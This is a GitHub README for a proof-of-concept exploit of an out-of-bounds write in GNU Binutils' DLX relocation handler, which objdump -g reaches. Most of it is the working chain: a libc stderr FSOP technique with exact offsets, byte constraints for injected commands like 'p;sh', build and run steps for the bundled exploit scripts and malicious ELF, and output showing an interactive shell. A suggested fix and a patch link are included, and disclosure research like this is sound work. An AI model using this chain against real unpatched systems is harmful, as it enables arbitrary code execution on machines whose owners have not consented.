Skip to content

4D4J/objdump-Out-Of-Bounds-write

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

GNU Binutils objdump — OOB Write → FSOP → Arbitrary Code Execution

Target: GNU Binutils (all versions through HEAD) — objdump Environment: Debian 13 (Trixie), glibc 2.41, x86_64 Impact: Arbitrary code execution Vector: Crafted ELF file processed by objdump -g ASLR: Bypassed (deterministic mmap delta)


Acknowledgments

A huge thanks to bikini for the shoutout and his fair play regarding this discovery. He is a great guy, I had the pleasure of chatting with him, and he has made some awesome findings of his own. Go check out his work!


Vulnerability

Root cause — bfd/elf32-dlx.c

The R_DLX_RELOC_26_PCREL relocation handler (elf32_dlx_relocate26) performs a 4-byte read/write at data + reloc_entry->address without validating the offset against the section size. Since the function returns bfd_reloc_ok, the generic bounds check in bfd/reloc.c is bypassed entirely.

// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

The offset reloc_entry->address is read directly from the ELF file and can point arbitrarily beyond the section buffer.

mmap proximity trick

On x86_64, ELF32 offsets are zero-extended, limiting writes to positive offsets. A .debug_info section ≥ 128 KB forces malloc() to use mmap(), placing the buffer adjacent to libc's data segment:

┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

The delta stderr - data = 0x21A4D0 is constant across ASLR runs because both regions are allocated by the same mmap during libc loading.


FSOP exploitation chain

Execution path

objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

The 5 OOB writes (PCREL26)

# Target (offset from data) Effect
0 0x21A4CF = stderr − 1 _flags[0:3] = cmd[0..2] → start of system() argument
1 0x21A4F8 = stderr + 0x28 _IO_write_ptr ≠ 0 → forces flush → overflow
2 0x21A56F = stderr + 0x9F _wide_data[0:3] → points to fake _IO_wide_data
3 0x21A5A7 = stderr + 0xD7 vtable[0:3]_IO_wfile_jumps
4 0x21A4D2 = stderr + 2 _flags[3] = cmd[3], padding cleared → null terminator

Fake structures (in section buffer)

data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

Command constraints

The exploit supports 2 to 4-character commands. Reloc 0 writes _flags[0:3] and reloc 4 writes _flags[3] + clears the padding, giving system() up to 4 chars before the natural null terminator.

Only the first two bytes are constrained by glibc's FILE flag layout:

Bit Flag Constraint Reason
1 _IO_UNBUFFERED cmd[0] & 0x02 == 0 otherwise _IO_wdoallocbuf skips __doallocate
3 _IO_NO_WRITES cmd[0] & 0x08 == 0 otherwise overflow returns WEOF immediately
13 _IO_IS_FILEBUF cmd[1] & 0x20 != 0 required to enter the doallocate block

cmd[2] and cmd[3] are unconstrained.

Command Bytes Effect
"ps" 70 73 list processes
"p;sh" 70 3B 73 68 spawn interactive shell ← most useful
"p;ls" 70 3B 6C 73 list directory
"p;id" 70 3B 69 64 print uid/gid

Reproduction

Prerequisites

# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

Generate payload + run exploit

# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

The exploit automatically retries up to 5 times on ASLR byte-3 mismatches (~12% per attempt), reaching ~99.998% success rate.

Expected output

[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

Suggested fix

Add a bounds check in elf32_dlx_relocate26() before accessing the section data:

if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

Files

File Description
poc_generate.py Generates the malicious DLX ELF payload (exploit.bin) with 5 OOB relocs
poc_ptrace.py Standalone exploit — ptrace-based ASLR bypass, retry loop, no GDB required
exploit.bin Pre-generated payload (default cmd "p;sh")

Disclosure

This vulnerability was reported to the GNU Binutils maintainers. Exploit code is provided for authorized security research purposes only.

Patch

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

About

Proof of Concept (PoC) demonstrating an out-of-bounds (OOB) write vulnerability in the DLX ELF backend of GNU binutils (specifically triggered via `objdump -g`)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages